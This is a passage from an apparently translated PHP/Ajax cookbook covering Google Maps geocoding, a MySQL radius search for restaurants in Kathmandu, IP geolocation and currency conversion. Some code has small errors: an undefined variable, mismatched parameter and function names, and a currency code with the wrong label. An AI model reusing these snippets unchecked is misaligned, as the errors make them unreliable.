您可以从 Google 地图 API 页面code.google.com/apis/maps/documentation/javascript/reference.html#Geocoder了解 Geocoder 类的更多细节。

在回调函数中,我们通过将其与变量google.maps.GeocoderStatus.OK进行比较来检查结果的状态,这意味着结果变量包含有效的地理编码器响应。

在下一行,我们使用google.maps.Map类的setCenter()方法将地图居中到getcode()方法返回的第一个结果的位置。

现在让我们看一下响应格式,即结果变量的格式,以了解代码的其余部分。这个格式清楚地解释了响应对象。

results[]: { types[]: string, formatted_address: string, address_components[]: { short_name: string, long_name: string, types[]: string }, geometry: { location: LatLng, location_type: GeocoderLocationType viewport: LatLngBounds, bounds: LatLngBounds } }

results[0].geometry.location变量是google.maps.LatLng类型的对象,这是纬度和经度的组合。我们在这里使用results[0]变量,因为地理编码器返回的第一个结果是搜索地址的最相关结果。

现在,让我们进一步进行代码的另一部分:

if(temp_mark)
temp_mark.setMap(null);
var marker = new google.maps.Marker({
map: map_obj,
position: results[0].geometry.location
});
temp_mark = marker;

在上面的代码清单中,我们首先检查temp_marker变量是否为空。如果此变量未设置或为空,则不采取任何操作。但如果它包含一个标记对象,则使用setMap()函数从地图中移除标记。setMap()函数基本上用于将标记分配给地图对象,但当它设置为null时,它会从地图中移除标记。

在下一行,我们在map_obj地图对象上创建标记对象,标记的位置将是地理编码服务返回的位置的第一个结果。

接下来,temp_mark变量被分配为为新的搜索结果清除标记而创建的标记对象,这样可以避免在地图上显示多个标记。

创建标记后,现在让我们将信息窗口附加到标记上:

infowindow = new google.maps.InfoWindow({content: results[0].formatted_address});

上面的代码创建了信息窗口。信息窗口的内容设置为我们作为地理编码服务响应的格式化结果。

google.maps.event.addListener(marker, 'click', function() {
infowindow.open(map_obj,marker);
});

在上面的代码中,我们将点击事件附加到标记上。当点击时,使用open()函数打开信息窗口。这个函数接受两个参数:第一个是地图对象,第二个是锚点对象,在我们的例子中,锚点对象是标记对象。

以下行用于警报弹出窗口,显示地址的信息和状态:

else {
alert("Google map could not find the address : " + status);
}

在 Google 地图上搜索 XX 公里半径内的标记和信息窗口

在了解如何使用文本框在 Google 地图中找到位置后,现在让我们转向一个稍微复杂的应用程序,称为“餐厅查找应用程序”。这个应用程序简单但功能强大。当用户在文本框中输入一个地点时,应用程序会查找距离搜索位置指定公里数范围内的餐厅。我们将使用 Haversine 公式来计算圆形距离。您可以从这里了解更多信息:en.wikipedia.org/wiki/Haversine_formula

现在,让我们看一下这个应用程序的细节以及如何创建它。

准备工作

在了解应用程序的外观之后,现在让我们看看所需的背景知识,比如 Haversine 公式和数据库结构以及这个应用程序所需的数据。

用于计算圆形距离的 Haversine 公式

在进入代码之前,让我们首先尝试了解如何使用 Haversine 公式来计算从一个地方到另一个地方的圆形距离,当我们有两个地方的经度和纬度时。如果您擅长数学,维基百科的 URL en.wikipedia.org/wiki/Haversine_formula 中有关于它的深入细节。为了更清楚地理解 Haversine 公式,请查看 URL:www.movable-type.co.uk/scripts/latlong.html。它还有 JavaScript 中的示例代码以及 Excel 中的公式。参考上述 URL,让我们看一下用于计算两个位置之间距离的 Excel 公式:

=6371ACOS(SIN(RADIANS(lat1))SIN(RADIANS(lat2))+COS(RADIANS(lat1))COS(RADIANS(lat2))COS(RADIANS(lon2)- RADIANS(lon1)))

注意

在上面的公式中,6371 是地球的半径(以公里为单位)。如果要以英里为单位计算距离,请将 6371 替换为 3959。还请注意,三角函数接受弧度而不是角度,因此在传递之前将角度转换为弧度。

现在,让我们尝试将其转换为 SQL 查询,因为这是我们将在这个应用程序中使用它来查找两个地方之间的距离的方式。

SELECT ( 6371 * acos(sin( radians(lat1) ) * sin( radians( lat2 ) ) +cos( radians(lat1) ) * cos( radians( lat2 ) ) * cos( radians( lon2 ) - radians(lon1) ) ) ) ;

在这个公式中,(lat1, lon1)是一个地方的地理坐标,而(lat2, lon2)是另一个地方的坐标。

创建表

由于这个应用程序是基于数据库表的,现在让我们为这个应用程序创建表结构。以下是用于此应用程序的表的 SQL 代码:

CREATE TABLE `restaurants` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(60) NOT NULL,
`address` varchar(90) NOT NULL,
`lat` float(9,6) NOT NULL,
`lng` float(9,6) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM;

让我们试着看一下我们为这个表使用的不同字段的细节:

  • id - 这是该表的主键字段。该字段的数据类型为整数,最大为 11 位数。AUTO_INCREMENT属性指定,如果在 INSERT 语句或查询中未指定该字段的值,则该字段的值将自动递增 1(与先前的最高值)。

  • name - 这是一个长度为 60 的 varchar 字段。该字段保存我们应用程序中餐厅的名称。如果您觉得 60 不够,请增加大小。

  • address - 这个字段是一个长度为 90 的 varchar 字段。该字段保存餐厅的地址。

  • lat - 这个字段保存特定餐厅位置的纬度值。我们已将该字段的数据类型指定为浮点类型,长度为(9,6),这意味着它可以保存小数点后 6 位精度的 9 位数字。因此,该字段的值范围从 999.999999 到 999.999999。由于当前 Google 地图 API 的缩放级别功能,我们不需要小数点后超过 6 位的精度。

  • lon - 这个字段保存餐厅位置的经度值。字段类型和字段长度与纬度相同,即浮点型和(9,6)。

在查看我们用于应用程序的表之后,让我们看一下我们用于此应用程序的样本数据。我们只使用了很少的数据,因为这只是用于测试目的。以下是创建餐馆样本数据的 SQL 语句:

INSERT INTO `restaurants` (`id`, `name`, `address`, `lat`, `lng`) VALUES
(1, 'Big Bell Restaurant and Guest House', 'Bhaktapur Nepal', 27.681187, 85.433067),
(2, 'Summit Hotel', 'Kupondole, Lalitpur, Nepal', 27.690613, 85.319077),
(3, 'New York Cafe', 'Thapathali, Kathmandu, Nepal', 27.696995, 85.323196),
(4, 'Attic Restaurant & Bar', 'Lazimpat, Kathmandu, Nepal', 27.721615, 85.327316);

您可以在您喜欢的 MySQL 编辑器中执行上述 SQL 代码以插入数据。

在这个应用程序中,我们使用了用于示例目的的位置数据,并且已经提供了用于测试。如果您想使用更多数据测试示例,并且您知道地点但没有该地点的地理坐标数据,您可以借助 Google 地理编码 API 的帮助。

假设我们想知道名为“Thapathali, Kathmandu”的地点的纬度和经度;然后我们可以向 Google 地理编码 API 发送请求,请求 URL 如下:

maps.googleapis.com/maps/api/geocode/json?address=thapathali,kathmandu,Nepal&sensor=false

其中:

  • URL 中的json是响应的格式;如果您希望以 XML 格式获得响应,则可以将json替换为XML

  • address参数包含您要将地理编码为纬度和经度的位置的地址。

响应将以 JSON 格式返回,您可以轻松解析并使用它。

如何做...

首先,让我们看一下这个应用程序的界面。有一个文本框,用户输入位置。然后,使用 Google 地图 API 的地理编码服务和存储在 PHP 中的数据,我们将在我们的示例中找到搜索地点 10 公里半径内的距离。

如何做...

在查看了制作应用程序所需的一些背景知识之后,现在让我们看一下构建此应用程序的代码。

首先,让我们看一下example-7.html文件的代码。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<title>Searching within XX km. radius of a place using Google map, PHP, Ajax and MySQL</title>
<style type="text/css">
body {
height: 100%;
margin: 0px; padding: 0px;
}
#map {
width:600px;
height:500px;
}
</style>
<script type="text/javascript" src="https://Ajax.googleapis.com/Ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false">
</script>
<script type="text/javascript">
//global variables
var map_obj;
var geocoder;
var info_window = new google.maps.InfoWindow;
var markers_arr = [];
function showmap() {
//longitude and latitude of Kathmandu, Nepal
var lat_lng = new google.maps.LatLng(27.702871,85.318244);
//options of map
var map_options = {
center: lat_lng,
zoom: 11,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
//now map should be there
map_obj = new google.maps.Map(document.getElementById("map"), map_options);
}
function search_map()
{
//initialize geocoding variable
geocoder = new google.maps.Geocoder();
var address = document.getElementById("address").value;
//start geocoding the address
geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK){
map_obj.setCenter(results[0].geometry.location);
//call the function to show the result with markers
search_near_by(results[0].geometry.location);
//clear all the markers
clear_markers ();
} else {
alert("Google API could not find the address : " + status);
}
});
return false;
}
function search_near_by(lat_lng)
{
//for the URL for the Ajax call
var url = 'restaurant-result.php?lat=' + lat_lng.lat() + '&lng=' + lat_lng.lng();
//use jQuery's get Ajax function to make the call
jQuery.get(url, function(data) {
//documentElement returns the root node of the xml
var markers = data.documentElement.getElementsByTagName('marker');
//looping through the each xml node
for (var i = 0; i < markers.length; i++) {
var name = markers[i].getAttribute('name');
var address = markers[i].getAttribute('address');
var distance = parseFloat(markers[i].getAttribute('distance'));
//create new LatLng object
var point = new google.maps.LatLng(parseFloat(markers[i].getAttribute('lat')),
parseFloat(markers[i].getAttribute('lng')));
//now call the function to create the markers and information window
create_marker(point, name, address, distance);
}
});
}
function create_marker(point, name, address, distance) {
//formatting html for displaying in information window
var html = '<strong>' + name + '</strong> <br/>' + address+'<br/>Distance :'+distance+' km';
//now create a marker object
var marker = new google.maps.Marker({
map: map_obj,
position: point
});
//now push into another array for clearing markers later on
markers_arr.push(marker);
//now bind the event on the click of the market
google.maps.event.addListener(marker, 'click', function() {
info_window.setContent(html);
info_window.open(map_obj,marker);
});
}
//function to clear the markers
function clear_markers () {
if (markers_arr) {
for (i in markers_arr) {
markers_arr[i].setMap(null);
}
}
//assign to empty array
markers_arr = [];
}
</script>
</head>
<body onload="showmap()">
<h3>Searching within XX km. radius of a place using Google map, PHP, Ajax and MySQL</h3>
<form method="post" name="mapform" onsubmit="return search_map();" >
<strong>Address : </strong><input type="text" name="address" id="address" value="" /> <input name="find" value="Search" type="submit" />
</form>
<div id="map" ></div>
</body>
</html>

在查看了这个示例之后,现在让我们看一下从search_near_by()函数提交纬度和经度时从 Ajax 调用的restaurant-result.php文件的代码:

<?php
////default mysql connection
define('DB_SERVER','localhost');
define('DB_USER','root');
define('DB_PASS','');
define('DB_NAME','test');
//default value of radius it is 10 kilometer here
define('RADIUS',10);
//connect to mysql database
$conn=mysql_connect (DB_SERVER,DB_USER,DB_PASS);
if (!$conn) {
die("Connection failed : " . mysql_error());
}
// Select the database the active mySQL database, change your setting here as needed
$db_selected = mysql_select_db(DB_NAME, $conn);
if (!$db_selected) {
die ("Can\'t use db : " . mysql_error());
}
//now get the the longitude and latitude
$g_lat = $_GET["lat"];
$g_lng = $_GET["lng"];
//query to get the restaurants within specified kilometers
$query = sprintf("SELECT address, name, lat, lng, ( 6371 * acos( cos( radians('%s') ) * cos( radians( lat ) ) * cos( radians( lng ) - radians('%s') ) + sin( radians('%s') ) * sin( radians( lat ) ) ) ) AS distance FROM restaurants HAVING distance < '%s' ORDER BY distance LIMIT 0 , 10",
mysql_real_escape_string($g_lat),
mysql_real_escape_string($g_lng),
mysql_real_escape_string($g_lat),
RADIUS
);
//get mysql result
$result = mysql_query($query);
//we're sending reponse in xml format
header("Content-type: text/xml");
// parent node of xml file
echo '<markers>';
// Iterate through the result rows
while ($row = @mysql_fetch_assoc($result)){
// add attribute to xml node called marker
echo '<marker ';
echo 'name="' . htmlentities($row['name'],ENT_QUOTES) . '" ';
echo 'address="' . htmlentities($row['address'],ENT_QUOTES) . '" ';
echo 'lat="' . $row['lat'] . '" ';
echo 'lng="' . $row['lng'] . '" ';
echo 'distance="' . $row['distance'] . '" ';
echo '/>';
}
// closing tag for parent node
echo '</markers>';
?>

它是如何工作的...

在查看代码之后,让我们试着理解这个应用程序的代码是如何工作的。首先,让我们试着理解restaurant-result.php的代码。

define('RADIUS',10);

在上述行中,RADIUS 变量定义为 10,这意味着我们正在搜索半径为 10 公里的区域内的位置。您可以根据需要在这里更改值。

//now get the the longitude and latitude
$g_lat = $_GET["lat"];
$g_lng = $_GET["lng"];
$query = sprintf("SELECT address, name, lat, lng, ( 6371 * acos( cos( radians('%s') ) * cos( radians( lat ) ) * cos( radians( lng ) - radians('%s') ) + sin( radians('%s') ) * sin( radians( lat ) ) ) ) AS distance FROM restaurants HAVING distance < '%s' ORDER BY distance LIMIT 0 , 10",
mysql_real_escape_string($g_lat),
mysql_real_escape_string($g_lng),
mysql_real_escape_string($g_lat),
RADIUS
);

在上述代码的前两行中,我们从 Ajax 调用中获取纬度和经度的值。之后,我们创建 SQL 查询,以查找距离搜索位置 10 公里范围内的位置。还要注意,我们从 SQL 查询中获取前 10 个结果。

现在,让我们看一下如何创建 XML 格式,以便稍后用于创建标记。

echo '<markers>';
while ($row = @mysql_fetch_assoc($result)){
echo '<marker ';
echo 'name="' . htmlentities($row['name'],ENT_QUOTES) . '" ';
echo 'address="' . htmlentities($row['address'],ENT_QUOTES) . '" ';
echo 'lat="' . $row['lat'] . '" ';
echo 'lng="' . $row['lng'] . '" ';
echo 'distance="' . $row['distance'] . '" ';
echo '/>';
}
echo '</markers>';

在创建 XML 时,我们使用htmlentities()函数将特殊字符如<, >转换为 HTML 实体,如&gt, &lt等,以避免 XML 数据因这些特殊字符而变形。

让我们通过在浏览器上调用此函数来查看restaurant-result.php脚本生成的 XML 输出,如restaurant-result.php?lat=27.6862181&lng=85.31491419999998,其中指定的纬度和经度属于位置'Kupondole, Lalitpur, Nepal':

<markers>
<marker name="Summit Hotel" address="Kupondole, Lalitpur, Nepal" lat="27.690613" lng="85.319077" distance="0.6377753814621" />
<marker name="New York Cafe" address="Thapathali, Kathmandu, Nepal" lat="27.696995" lng="85.323196" distance="1.44945592535556" />
<marker name="Attic Restaurant &amp; Bar" address="Lazimpat, Kathmandu, Nepal" lat="27.721615" lng="85.327316" distance="4.12096367652591" />
</markers>

在查看了 PHP 代码和已关闭餐馆的 XML 输出之后,现在让我们看一下example-7.html文件中的 JavaScript 代码。

首先,让我们先看一下search_map()函数的代码。

function search_map()
{
geocoder = new google.maps.Geocoder();
var address = document.getElementById("address").value;
geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK){
map_obj.setCenter(results[0].geometry.location);
search_near_by(results[0].geometry.location);
clearOverlays();
} else {
alert("Google API could not find the address : " + status);
}
});
return false;
}

在这个search_map()函数中,我们使用 Google Map API 的地理编码功能,使用geocode()函数将地址转换为纬度和经度。如果找到地址并且地理编码结果成功返回,地图将使用setCenter()函数居中到找到的第一个位置。然后,使用参数results[0].geometry.location调用search_near_by()函数,这个对象保存了从搜索地址中最接近的位置的纬度和经度值。

现在,首先让我们看一下search_near_by()函数的前两行:

function search_near_by(lat_lng)
{
var url = 'restaurant-result.php?lat=' + lat_lng.lat() + '&lng=' + lat_lng.lng();
jQuery.get(url, function(data) {

正如你清楚地看到的,我们正在使用 jQuery 的get函数向restaurant-result.php发送 Ajax 请求,使用get方法发送 Ajax 请求。

data变量包含了从服务器端响应返回的最近找到的餐馆信息的 XML 响应。

现在,让我们看看 JavaScript 中search_near_by()函数中如何解析 XML 响应。

var markers = data.documentElement.getElementsByTagName('marker');
for (var i = 0; i < markers.length; i++) {
var name = markers[i].getAttribute('name');
var address = markers[i].getAttribute('address');
var distance = parseFloat(markers[i].getAttribute('distance'));
var point = new google.maps.LatLng(parseFloat(markers[i].getAttribute('lat')),
parseFloat(markers[i].getAttribute('lng')));
create_marker(point, name, address, distance);
}

在上面的代码中,data.documentElement指的是数据对象的根节点。markers变量包含了通过getElemementByTagName() DOM 函数返回的名为 marker 的节点。

在循环中遍历每个 XML 节点之后,我们调用了create_marker()函数来创建从 XML 返回的每个位置的标记。请注意,point变量是LatLng类的对象,因为marker类需要它来创建标记。

现在,让我们看一下创建标记的函数,它创建标记和信息窗口:

function create_marker(point, name, address,distance) {
var html = '<strong>' + name + '</strong> <br/>' + address+'<br/>Distance :'+distance+'km';
var marker = new google.maps.Marker({
map: map_obj,
position: point
});
markers_arr.push(marker);
google.maps.event.addListener(marker, 'click', function() {
info_window.setContent(html);
info_window.open(map_obj,marker);
});
}

在这个函数中,首先我们创建一个 HTML 格式来显示在信息窗口上。之后我们创建一个标记对象,并将这个标记对象推入markers_arr变量中。我们将使用markers_arr临时存储marker对象,以便在下一个位置搜索时从地图上清除。因此,我们为标记附加了一个点击事件,以显示提供的内容的信息窗口。

现在,让我们更仔细地看一下从search_map()中调用的clear_marker()函数。

function clear_markers() {
if (markers_arr) {
for (i in markers_arr) {
markers_arr[i].setMap(null);
}
}
markers_arr = [];
}

在上面的函数中,markers_arr是一个全局数组变量,它包含了从create_markers()函数中的语句markers_arr.push(marker)存储的marker对象。每个标记都使用setMap()函数和空参数从地图上移除。最后,全局变量markers_arr被赋予一个空数组,以节省一些内存。

使用 IP 地址查找城市/国家

在这一部分,我们将把 IP 地址转换成城市和国家名称。我们将使用www.ipinfodb.com/的 API 来从 IP 地址获取城市和国家的名称。

准备工作

IpInfodb.com 是一个流行的网络服务,使用其 RESTful API 提供 IP 到国家和城市信息。

要使用这个功能,首先需要在网站上注册并获取访问密钥。一旦获得了 API 密钥,就可以进行调用。现在,让我们了解如何调用网站的 API。可以使用以下 Restful API 调用 API:

api.ipinfodb.com/v3/ip-city/?format=xml&key=<yourkey>&ip=<your ip>

其中格式值可以是 XML 或 JSON。

现在,在查看请求 API 调用之后,让我们看一下对 IP 地址 128.88.69.78 的 API 调用的响应。

OK

128.88.69.78

US

UNITED STATES

加利福尼亚

帕洛阿尔托

94304

37.4404

-122.14

-08:00

响应包含有关 IP 地址所属的地理信息。

注意

由于 IP 地址是从现有数据库中查找的等因素,API 的响应可能不会 100%准确。此外,保留 IP 的响应,如 127.0.0.1,可能不会导致任何特定结果。

如何做...

在查看了 IpInfodb 的 API 信息之后,现在让我们看一下我们应用的界面。它有一个文本框,您可以在其中输入 IP 地址,并以以下格式显示 IP 地址的地理位置:

城市名称,地区/州/省名称,国家名称

如何做...

现在,让我们看一下构建此应用程序的代码,以查找 IP 地址的位置。

首先,让我们看一下example-8.html文件的代码。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Country and City name by IP address</title>
<style type="text/css">
body{
font-family:Arial, Helvetica, sans-serif;
}
</style>
<script type="text/javascript" src="https://Ajax.googleapis.com/Ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
$('document').ready(function()
{
$('#Ajaxipform').submit(function()
{
//get the value of the search ip address
var ip = $('#ip_addr').val();
//shows the please wait until result is fetched
$("#result").html('Please wait....');
$.Ajax({
url : 'ip.php',
data : 'ip='+ip,
dataType : 'json',
success : function(data)
{
//check if it is valid ip or not
if($.trim(data.errormsg)=='')
{
var text = data.city+', '+data.region+', '+data.country;
$('#result').html(text);
}
else
{
$('#result').html(data.errormsg);
}
}
});
//to protect from reloading the page
return false;
});
});
</script>
</head>
<body>
<h3>Find Country and City name by IP address using Ajax</h3>
<form method="post" name="Ajaxipform" id="Ajaxipform" >
IP Address: <input type="text" name="ip_addr" id="ip_addr" value="" />
<input name="findip" value="Search" type="submit" />
</form>
<br />
<div id="result"></div>
</body>
</html>

如上所示的代码中,有一个对ip.php的 Ajax 调用。让我们来看一下ip.php文件的 PHP 代码:

<?php
//key of the ipinfodb
define('KEY','You key goes here');
//the value of ip address
$ip = $_GET['ip'];
//filter_var function is avaiable in PHP 5.2 or greater only
if(!filter_var($ip, FILTER_VALIDATE_IP))
{
$return_array = array('errormsg'=>'Invalid IP, please try again');
}
else
{
//for the api call
$ipdbinfo_url = sprintf( 'http://api.ipinfodb.com/v3/ip-city/?format=xml&key=%s&ip=%s',KEY,$ip);
//get the xml content
$ipxml = file_get_contents($ipdbinfo_url);
//parse the xml string
$xml = simplexml_load_string($ipxml);
if($xml->statusCode=='OK')
$return_array = array('errormsg'=>'',
'city'=>strval($xml->cityName),
'country'=>strval($xml->countryName),
'region'=>strval($xml->regionName));
else
$return_array = array('errormsg'=>'API ERROR');
}
//echo the json encoded string
echo json_encode($return_array);
?>

它是如何工作的...

在查看了两个文件example-8.htmlip.php的代码之后,现在让我们深入了解第一个文件的代码。让我们看一下从 Ajax 调用的ip.php的 PHP 代码:

$ip = $_GET['ip'];
if(!filter_var($ip, FILTER_VALIDATE_IP))
{
$return_array = array('errormsg'=>'Invalid IP, please try again');
}

如上所示,我们使用filter_var()FILTER_VALIDATEIP常量一起验证变量$ip的 IP 地址值是否为有效的 IP 地址格式。这个函数是在 PHP 5.2 中引入的,是一个强大的验证函数之一。您可以从此 URL 找到更多关于此函数可用的其他过滤器常量的信息:www.php.net/manual/en/filter.filters.php。如果 IP 地址不是有效的 IP 地址,则将错误消息分配给返回数组的errormsg键。

现在,让我们看一下 IP 地址有效时的 API 调用:

$ipdbinfo_url = sprintf( 'http://api.ipinfodb.com/v3/ip-city/?format=xml&key=%s&ip=%s',KEY,$ip);
$ipxml = file_get_contents($ipdbinfo_url);
$xml = simplexml_load_string($ipxml);

在上述代码中,首先我们正在构建字符串以形成请求,然后使用file_get_contents()进行调用。然后将 XML 响应传递给simplexml_load_string()函数进行解析,它将 XML 数据解析为 PHP 的 SimpleXML 对象。

注意

SimpleXML 解析器是在 PHP 5 中引入的,要使用simplexml_load_string()之类的函数,需要在 PHP 中安装 SimpleXML 扩展。

if($xml->statusCode=='OK')
$return_array = array('errormsg'=>'',
'city'=>strval($xml->cityName),
'country'=>strval($xml->countryName),
'region'=>strval($xml->regionName));
else
$return_array = array('errormsg'=>'API ERROR');

现在,在这里,我们正在检查响应值statusCode节点,并根据其值形成$return_array中的 Ajax 响应。

现在,我们不能直接将$return_array传递给 JavaScript,因为它是 PHP 中的一个数组。它应该转换为 JSON 对象,以便 JavaScript 可以轻松访问,因此在最后一行,我们使用了 PHP 的json_encode()函数将此数组编码为 JSON。

echo json_encode($return_array);

现在,让我们使用有效的 IP 地址调用ip.php并查看响应。例如,调用

ip.php?ip=78.41.205.188,您将获得如下所示的 JSON 响应:

{"errormsg":"","city":"AMSTERDAM","country":"NETHERLANDS","region":"NOORD-HOLLAND"}

现在,让我们看一下我们在example-8.php中使用的 Ajax 调用。

$.Ajax({
url : 'ip.php',
data : 'ip='+ip,
dataType : 'json',
success : function(data)
{
if($.trim(data.errormsg)=='')
{
var text = data.city+', '+data.region+', '+data.country;
$('#result').html(text);
}
else
{
$('#result').html(data.errormsg);
}
}
});

如您在上述 Ajax 函数中所见,我们正在查看 JSON 响应,该响应在data变量中。首先,我们通过检查data.errormsg变量来检查是否有错误消息。如果有错误,我们将直接在 ID 为result的 div 中显示它。

如果没有错误消息,则data.city, data.regiondata.country变量中有值,并形成字符串以在 ID 为result的 div 中显示位置信息。

使用 Ajax 和 PHP 转换货币

在本示例中,我们将看到如何使用 Ajax 和 PHP 转换货币。在本示例中,我们将使用 foxrate.org 提供的 API。Forxrate.org 以 XML-RPC 格式提供了 Web 服务。我们在本示例中使用了 XML-RPC Web 服务。

入门

Foxrate.org 的货币转换 API 位于:foxrate.org/rpc/。XML-RPC 调用的方法名是foxrate.currencyConvert。可以传递给此函数的参数是:

  • 从货币这是原始货币金额所在的货币代码。示例可以是美元或英镑。货币代码列表可以在这里找到:en.wikipedia.org/wiki/ISO_4217

  • 目标货币这是需要将金额转换为的目标货币的货币代码。

  • 金额方法调用的第三个参数是需要从原始货币转换为目标货币的金额。

现在,让我们看看对foxrate.currencyConvert的 XML-RPC 调用的响应是什么样的:

flerror0

amount33.016

messagecached

正如你所看到的,它的 XML-RPC 响应格式有三个参数flerror, amountmessageflerror包含值 1,如果调用中有错误,如果调用成功,则为 0。amount是转换后的金额,message包含错误消息或与调用相关的其他有用消息。

如何做...

现在,让我们看看这个工具的界面。有一个文本框,你可以在里面输入需要转换成美元的金额。第二个是下拉选择框,你可以从中选择要将金额从哪种货币转换为美元。为了演示目的,在我们的示例中,我们只使用了一些流行的货币。

如何做...

让我们来看看创建这个使用 foxrate.org 的 API 转换货币的工具的代码。首先,让我们来看看example-9.html文件。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<style media="all" type="text/css">
html, body {
font-family:Arial, Helvetica, sans-serif;
}
#container{
margin:0px auto;
width:420px;
}
#output {
font-weight:bold;
color:#F00;
}
</style>
<script type="text/javascript" src="https://Ajax.googleapis.com/Ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript">
// currency convertor using
$(document).ready(function(){
$("#calculate").click(function()
{
var from_cur = $('#fromcurrency').val();
var amt = $('#fromaount').val();
if(isNaN(amt) || $.trim(amt)=='')
{
alert('Please enter a valid amount');
return false;
}
//to show the loading image
$('#output').html("Please wait...");
//
$('#output').load('convert-currency.php?from_curr='+from_cur+'&amount='+amt);
});
});
</script>
<title>Currency Currency Conversion Tool</title>
</head>
<body>
<div id="container">
<h2>Convert any other currency to USD</h2>
<p>
Amount : <input type="text" name="fromaount" id="fromaount" value="1">
<br/>
<br>
Currency:
<select name="fromcurrency" size="10" id="fromcurrency">
<option value="AUD" >Australian Dollar (AUD)</option>
<option value="GBP" >British Pound (GBP)</option>
<option value="BND" >Brunei Dollar (BND)</option>
<option value="JPY">Japanese Yen (JPY)</option>
<option value="JOD" >Korean Won (KRW)</option>
<option value="KWD" selected >Kuwaiti Dinar (KWD)</option>
<option value="NZD">New Zealand Dollar (NZD)</option>
<option value="AED">UAE Dirham (AED)</option>
</select>
<br/>
<br/>
&nbsp;&nbsp;<input type="submit" name="calculate" id="calculate" value="Convert to USD"/><br/><br/>
&nbsp;&nbsp;<span id="output" >Results Will be displayed here</span>
</p>
</div>
</body>
</html>

正如你在这段代码中看到的,有一个 Ajax 调用到convert-currency.php,使用 jQuery 的load()函数。让我们看看convert-currency.php的代码,它使用 PHP 的xml-rpc函数调用 foxrate.org 的 API。

<?php
//define the constant for targetted currency
define('TO_CURRENCY','USD');
//get values of amount and from currency
$amount=$_GET['amount'];
$from_curr =$_GET['from_curr'];
//check for valid amount value
if(!is_numeric($amount))
{
die("Invalid Amount");
}
//convert currency function
$response=convert_currency($from_curr,TO_CURRENCY,$amount);
//print_r($response);
if($response['flerror']==1)
echo "ERROR : ".$response['message'];
else
echo "$amount $fromCurr = ".number_format($response['amount'],2)." USD";
//function defined to convert the currency
function convert_currency($from_currency,$to_currency,$amount)
{
//encode the xml rpc request
$request = xmlrpc_encode_request("foxrate.currencyConvert", array($from_currency,$to_currency,$amount));
//create the stream content
$context = stream_context_create(array('http' => array(
'method' => "POST",
'header' => "Content-Type: text/xml",
'content' => $request
)));
//get the response here
$file = file_get_contents("http://foxrate.org/rpc/", false, $context);
$response = xmlrpc_decode($file);
if (xmlrpc_is_fault($response)) {
die('xmlrpc: '.$response['faultString'].' ('.$response['faultCode'].')');
} else {
return $response;
}
}
?>

它是如何工作的...

example-9.html开始,当你点击“转换为美元”按钮时,它将调用这个按钮的事件处理程序:

$("#calculate").click(function() {

在这个函数中,我们首先验证金额是否是有效的数字。为此,JavaScript 中有一个名为isNaN()的函数,用于检查值是否是合法数字或非数字。这意味着isNan指的是非数字。

if(isNaN(amt) || $.trim(amt)=='')
{

现在,让我们看看如何使用 jQuery 的load()函数来使用 Ajax。

$('#output').load('convert-currency.php?fromcurr='+from_cur+'&amount='+amt);

上面的代码通过load()函数的括号中的 URL 进行 Ajax 调用,响应将被注入到 ID 为output的 div 中,即#output

现在,让我们试着理解convert-currency.php文件的代码。

$response=convert_currency($from_curr,TO_CURRENCY,$amount);

这一行调用了一个名为convert_currency()的用户定义函数。这个函数接受三个参数,第一个$from_curr是需要转换的货币。TO_CURRRNCY是定义为USD值的常量,$amount是需要转换的金额。现在,让我们看看convert_currency()函数。

为了将 XML-RPC 请求编码为 XML-RPC 格式,我们通常使用xmlrpc_encode_request()函数,它有两个参数。第一个是要调用的方法的名称,第二个是 XML-RPC 调用的参数。

$request = xmlrpc_encode_request("foxrate.currencyConvert", array($from_currency,$to_currency,$amount));

现在,下一步是创建流上下文,请求方法指定为 foxrate.org 指定的 POST。

$context = stream_context_create(array('http' => array(
'method' => "POST",
'header' => "Content-Type: text/xml",
'content' => $request
)));

创建内容后,我们在$context变量中有上下文资源,可以与file_get_contents()函数一起使用:

$file = file_get_contents("http://foxrate.org/rpc/", false, $context);

file_get_contents()的第二个参数是指定是否在php.ini中设置了include_path值。我们在这里将其传递为false$file变量包含 XML-RPC 格式的 XML 响应。现在,我们需要将其解码为本机 PHP 类型,xmlrpc_decode()将 XML-RPC 响应解码为 PHP 类型变量。

$response = xmlrpc_decode($file);

在将响应解码为 PHP 之后,var_dump($response)给出以下示例输出:

array(3) {

["flerror"]=>**

int(0)

["amount"]=>

float(33.016)

["message"]=>

string(6) "cached"

}

在这里,您可以看到响应被转换为 PHP 本机类型变量。

最后,这个$response变量从这个函数返回,并使用echo语句在所需的输出中打印出来。

第九章:iPhone 和 Ajax

在本章中,我们将涵盖:

  • 构建网站的触摸版本(使用 jQTouch)

  • 在 iPhone Ajax 中利用 HTML5 功能

  • 使用 PhoneGap 构建本机应用

  • 加速 PhoneGap 项目

  • 构建一个货币转换混合应用

iPhone 于 2007 年由苹果公司推出。它以独特的设计、触摸屏和清新的用户界面重新定义了智能手机领域。除了电话功能和支持外,它还弥合了其他智能手机中普遍存在的互联网体验差距。它配备了 Safari 网络浏览器、电子邮件客户端和 iPod,为完整的网络体验。

以下截图显示了 iPhone 4 的主屏幕,其中包含默认内置应用程序:

iPhone 和 Ajax

像 PC 一样,iPhone 有一些称为“应用程序”的有用实用程序。所有应用程序都可以从主屏幕访问。我们有两种方法来编写应用程序:

  • 本机应用

  • Web 应用程序

界面与顶部的菜单栏一致,并且在必要时也在底部。

构建网站的触摸版本(使用 jQTouch)

